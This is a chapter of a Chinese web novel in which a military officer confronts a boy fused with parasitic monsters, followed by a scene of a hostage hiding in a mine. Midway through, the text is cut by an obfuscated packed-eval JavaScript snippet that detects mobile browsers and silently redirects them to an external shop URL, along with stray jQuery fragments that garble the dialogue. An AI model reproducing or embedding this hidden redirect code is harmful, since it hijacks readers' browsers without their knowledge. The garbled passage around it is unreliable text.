文趣网 > 其他小说 > 联盟长官叛逃中 > 19. 同类
    答案?

    郁柏歆现在是真好奇他想要的答案究竟是什么了。

    不过他没有从头到尾讲故事的兴趣,抱臂开口:“那只异端是被你吸引来的吧?”

    简短却不含多少情绪的几个字,程双伪装出的笑容却不受控般出现明显裂痕。

    剧烈的情绪波动影响了共生的异端,几只泛着青紫的手从墙上攀爬而下,只有半边身子还落在阴影中。

    刘寅明显没料到这位的短短一句话会有这么震撼人心的效果,眼皮不受控制地跳了跳。

    他忽然觉得此时的自己——一个刀尖舔血,手段狠辣的禁地区流浪者,硬生生在郁柏歆的衬托下变成了一个保守派分子,现在恨不得当场跳起来大喊:你惹他干嘛,委婉懂不懂?你知道循序渐进四个字怎么写吗!?

    但很明显,作为场上三人里最没有话语权的附带人员,刘寅的地位堪比挂件,目前只能祈祷这两人没有谈话中途摔挂件的习惯。

    对峙中的两人当然不知道挂件在想什么,郁柏歆仿佛知道一切的反应让程双感到愤怒。

    “为什么这么说?”

    他维持了笑容,可眼底波动暴露了他此时的情绪:“你应该清楚联盟对精神疾病患者的管控。”

    “多残忍啊。”他扯了下唇:“抑制针细长的针尖刺入脊椎,钻心地疼。那时候我才十岁,几乎以为自己要死了。那时的我以为只要忍一忍就结束了,以后就不会疼了。”

    “可没有结束。”

    “可后来我才知道,那只是个开始,那根几厘米长的针,那种刺骨冰冷的疼痛会一直伴随到我被‘治愈’,或者入土。”

    程双伸手按住后颈,那种钻心的疼仿佛还残留在这具身体,可他却露出截然相反的微笑:“虽然我厌恶它,但不得不承认这项技术的确成功且成熟,它确实可以隔绝异端的感知。长官,你和异端打了这么多年交道,应该清楚这点才对。”

    “我确实清楚。”郁柏歆没有否认这点。

    但下一刻,程双的笑容就彻底凝固。

    “我甚至可以告诉你它的主要原理。”郁柏歆淡淡开口:“无非是通过破坏那条特殊基因的部分结构,来强行阻断生物信号扩散,然后重复循环人体自我修复和损坏的过程。”

    “但也只是阻断信号扩散,因为更进一步的破坏可能会直接杀死你。”他握住钥匙刀的刀柄:“所以虽然异端无法‘闻’到……但可以‘尝’到。”

    “你的血肉就是最好的识别。”

    程双的脸色阴沉下来。

    寥寥几句话,但他似乎又回到了那一天。

    漆黑的矿洞,从高处攀爬而下的丑陋怪物,恐惧带到无法动弹的自己。

    但幸运的是,那是一只寄生体,它的体形不足以一击毙命,而喷洒的血和肉让它尝到了同类的味道。

    程双还记得那时画面。

    临近死亡的感觉原来是这么可怕,他仰头倒在地上,鲜血从口中和被豁开的腹部不断涌出。他明明还睁着眼,却一个字都说不出,只觉得越来越冷。

    再然后,他听到了嗡鸣声,那声音没有通过耳膜,更像是贴在他的太阳穴直接传达到头颅。

    他明明听不懂,可潜意识却在告诉他回应。

    下意识地,他张了张嘴。

    他依然没能发出声音,只有越来越多的血随着身体的痉挛涌出,可已经足够了。

    在意识模糊的那刻,他听到了窸窸窣窣声音,感受到尖利的触感不断划过皮肤,最终停留在血淋淋的腹部。

    再之后的事程双已经记不清了,睡梦中只有漫无止境的痛楚,好像身体的每个细胞都在被撕裂又被迫重组。

    但没关系,他早已熟悉了痛苦,如果这一次能解脱……

    如果这一次能……

    不知道过了多久,浑浑噩噩中,程双隐约感觉到脖颈上传来一阵刺痛,可还未等他混沌的思绪理清究竟发生了什么,就听到了一声清脆的“咔嗒”声。

    金属卡扣崩断,发出清脆而细微的声响。

    意识到发生什么的那一刻,幼小的孩子猛地睁大了双眼。

    失去支撑,细长的针尖从青紫的皮肉缓慢滑落,这个过程中,程双一动未动。他仰面感受着带着细微刺痛缓慢脱离,直到颈后倏地一轻。

    许久之后,像玩偶一样倒在血泊中的孩子终于动了。

    他蜷缩起身体,在哭又在笑,血与泪混合在一起,在异端的注视下,带着满身狼狈迎来等待已久的“新生”。

    唇角再次蓄起笑容,程双听着对面那个仿佛永远高高在上,永远不会共情旁人苦难的军部高官高高在上的口吻:“被异端寄生,你觉得自己真的还算活着?”

    “为什么不算?”

    程双不再否认,摇了摇头:“你不会理解。”

    他勾起一抹冰冷,几乎嘲讽的笑容:“郁长官,你知道一个人明明活着却好像被所有人排斥在外的感觉吗?”

    “医生、身边人,甚至父母,他们看你的眼神和看怪物没有任何区别,打心眼里觉得你是个怪胎、可怜虫,却用装出来的怜悯和同情轻飘飘地说着风凉话,展示自己的包容。”

    “无论怎么努力也没人能理解你,我一直不明白为什么。”

    他缓缓闭目:“直到后来我才知道,因为我们不是同类。”

    周边的异端骚动起来,它们被中枢的情绪调动,随时可能失控。

    冷汗顺着额角滑落,刘寅全身肌肉紧绷,在心底咒骂疯子。

    而郁柏歆戴着尾戒的手指传来轻微的酥麻,他无声瞥了眼,略微蜷缩。

    “因为不是同类,所以像你这种人永远不会理解我们。”程双后退了半步,声音放得很轻:

    “能彼此理解的只有同类。”

    “是么。”

    郁柏歆忽然开口。

    他打断了程双的表演,一针见血:“这就是你杀了许桐的原因?”

    彻底冷下的一句质问,终于撕碎了这场自辩里最虚伪的遮掩,连刘寅都不可置信地瞪大眼睛。

    一片死寂中,郁柏歆冷眼注视着这个顶着受害者皮囊的“孩子”,看着他脸上的怔愣一寸寸褪去,最终变为预料之外的感慨和叹息。

    “您可真让我惊喜,郁长官。”

    这一刻,他终于侧头看向最边缘的那个角落,看向那张被埋葬多年的脸,轻声感叹:

    “您

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734018|209016||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这种人,究竟为什么不是我们的同类呢?”

    ……

    林生此时正蜷缩在角落。

    他的头顶只有一盏橘黄的灯,勉强隔绝出一小块安全的夹角,而周边的黑暗中只有矿石本身透出的细微亮色。

    他在努力将自己安置在灯光之内,眼睛死死盯着地上氤氲的光圈边缘,好像只要挪开一点视线,黑暗中的东西就会将他吞没。

    林生觉得自己要疯了。

    他不知道黑暗里到底有什么,但那些断断续续,窸窸窣窣的声音却时刻提醒他,那些怪物就在那。

    他甚至不知道它们究竟什么时候会改变主意,能做的只有惶恐不安的等待。

    郁柏歆呢?他什么时候能找到自己?

    林生哆哆嗦嗦地下意识摸向手腕,可却扑了个空。

    他的通讯器早就被那群雇佣兵拿走了,现在连求援都做不到。

    林生甚至不确定郁柏歆到底会不会来找自己,他现在唯一的筹码居然是遇见那群雇佣兵时,自己下意识将工牌和记录仪埋起来的那个举动。

    没有记录仪的定位,再加上工牌和自己的面部及虹膜三认证,谁都不可能打开那艘开启自隐藏模式的运输舰。

    想到那艘运输舰,林生的脸色白了白。

    「这么多人虎视眈眈地盯着那艘船,你确定自己不知道原因?」

    程林的话让林生不受控制地想起了离开前的那场谈话。

    他知道的确实不多,但那艘船上的确不只有蓝晶铁,还有另一样东西。

    「这次运输的东西保密等级为最高机密,如果顺利送达还好,如果中途发生意外……就按照最高级别处理

    不过这是最坏的可能,希望一切顺利吧」

    最高级别处理,林生忍不住想起了那扇大门闭合时的画面,还有自己颤抖着按下按钮的手,呼吸逐渐粗重。

    “只有你?其他人哪去了?”

    「我很好奇,那艘船里的其他人哪去了?」

    孩童戏谑的嗓音仿佛又贴在了耳边,和现实诡异地重叠在一起。

    林生瞳孔骤缩,他猛然回头,身体控制不住地疯狂后退,尖叫却卡在喉咙里,像只被掐住脖子的鸡,只发出“呼哧呼哧”的剧烈喘息。

    过了好半天,他才终于看清眼前站着的陌生人影。

    付涔眉梢挑的老高:“呦,干什么亏心事了吓成这样?”

    说完他疑惑地摸了把脸,紧接着忍不住自我怀疑:“我这么吓人?不应该啊,前几天有人威胁我用的词还是迟早要刮花我的脸来着。”

    林生有点不知道该说什么了,他虽然不知道这人到底是谁,但不难看出,应该有点大病在身上。

    等怦怦的心脏勉强平息,他才终于挤出语无伦次的语句:“你是,你怎么……”

    虽然前言不搭后语,但对方面露了然,顺嘴自报家门:“我?劫匪啊。”

    林生:“……”

    大概是没见过这么直言不讳的,林生的表情活像吃了什么脏东西,而某位劫匪头子已经侧头看向前方彻底骚动的暗色,丝毫不给人拒绝的机会:

    “能站起来吧?一会儿要是不能打,躲应该会吧?”